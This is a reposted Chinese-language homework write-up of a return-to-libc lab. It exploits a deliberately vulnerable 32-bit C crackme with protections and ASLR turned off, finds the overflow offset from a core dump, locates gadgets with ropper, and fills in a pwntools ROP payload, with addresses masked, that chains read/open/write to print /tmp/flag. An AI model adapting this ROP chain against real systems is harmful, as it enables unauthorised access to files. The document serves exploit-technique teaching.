Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。
在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
void start() {
printf("IOLI Crackme Level 0x00\n");
printf("Password:");
char buf[64];
memset(buf, 0, sizeof(buf));
read(0, buf, 256);
if (!strcmp(buf, "250382"))
printf("Password OK :)\n");
else
printf("Invalid Password!\n");
}
int main(int argc, char *argv[]) {
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF,0);
start();
return 0;
}
其中不难发现read的数量大于Buf应该有的64个字节,显然这种情况会导致栈溢出,并且覆盖start函数的返回地址,进而给攻击者留下可乘之机。
在本次作业中,我使用的系统版本是:Linux version 5.13.0-28-generic (buildd@lgw01-amd64-035) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022
关闭ASLR:
sudo sysctl -w kernel.randomize_va_space=0
首先对stack.c程序进行编译,本次作业为了简化操作,使用的是32位的编译方式,同时关闭栈保护,具体而言,编译命令是:
gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack
-g是为了后期进行gdb调试,其他的操作在任务书上都有说明,注意,如果-m32出现错误,可能是系统本身并没有32位的库,可以通过以下命令来尝试解决
$ sudo apt-get install gcc-multilib
那么我们现在显然已经有了一个编译完成了的stack的程序,我们来看看他溢出的话会在哪个地址具体溢出,使用以下命令:
ulimit -c unlimited
这个命令可以让核心转储,进而让攻击者看到溢出的eip内容,进而确认溢出的内容。然后输入以下内容创造溢出:
如果是Kali的话,你的core会直接出现在文件的旁边,但是对于Ubuntu而言,你会发现core似乎没有出现在文件的附近,对于这种情况,你可以使用这种方法来寻找core:r
sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
然后去tmp里面找core,找到自己的core,用GDB查看溢出到EIP内容:
可以看到你的eip为61616174,他的ASCII码值是aaat,通过指令判断偏移值:
cyclic -l 'aaat'
得到的数值是73,但是由于是小端对齐(这个我也不确定),所以应该在76位置写入,记录该数值。(具体会因环境不同而不同)
由于没有开启地址随机化,所以在这里函数的地址是固定的,然后我们需要找到各种功能库函数的地址,根据提示,我们需要找到exit(),read(),write()函数的地址,一般来说,你可以直接通过gdb函数去找到函数的偏移值,然后去加上库函数的地址(例如找read的话就在调试的时候输入p read,就会显示出一个地址),不过我们在这里可以用一下老师的方法,具体而言,第一步是查看程序调用了系统的哪个库函数:
可以看到我们的调用的库函数是 /lib/i386-linux-gnu/libc.so.6,那么
将000340d0+f7d36000相加,即可得到此时exit的地址(该地址会随环境不同而不同)
如法炮制,找到其他函数地址,将其记录。
最后我们要找到 pop ret 和pop ret ret以及其他操作(我们需要这个作为返回地址,好让我们可以弹出参数然后通过ret进入下一个系统函数),使用Ropgadget去寻找:
ropper --file ./stack_test | grep "pop" | grep "ret"
得到相应地址,PPPR是0x08049401,PPR是0x08049402,PR是PPPR是0x08049403
至此所有需要的地址都获取完毕,填入老师给的攻击代码,运行,作业第一部分完成:
from pwn import *
p = process("./stack2")
PPPR=0x********
PPR=0x********
PR=0x********
BUF=0x********
num=**
payload = b'A' * num
#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
#open
payload += p32(0x********)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)
#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)
#write
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(100)
payload += p32(0x********)
payload += p32(0xdeadbeef)
payload += p32(2)
p.sendline(payload)
p.interactive()
可以看到攻击结果:
已经成功读出了flag的内容(注意,flag内容需要自行创建)
本文转载自: https://blog.csdn.net/weixin_45695828/article/details/124293859
版权归原作者 弗里曼博士 所有, 如有侵权,请联系我们删除。
版权归原作者 弗里曼博士 所有, 如有侵权,请联系我们删除。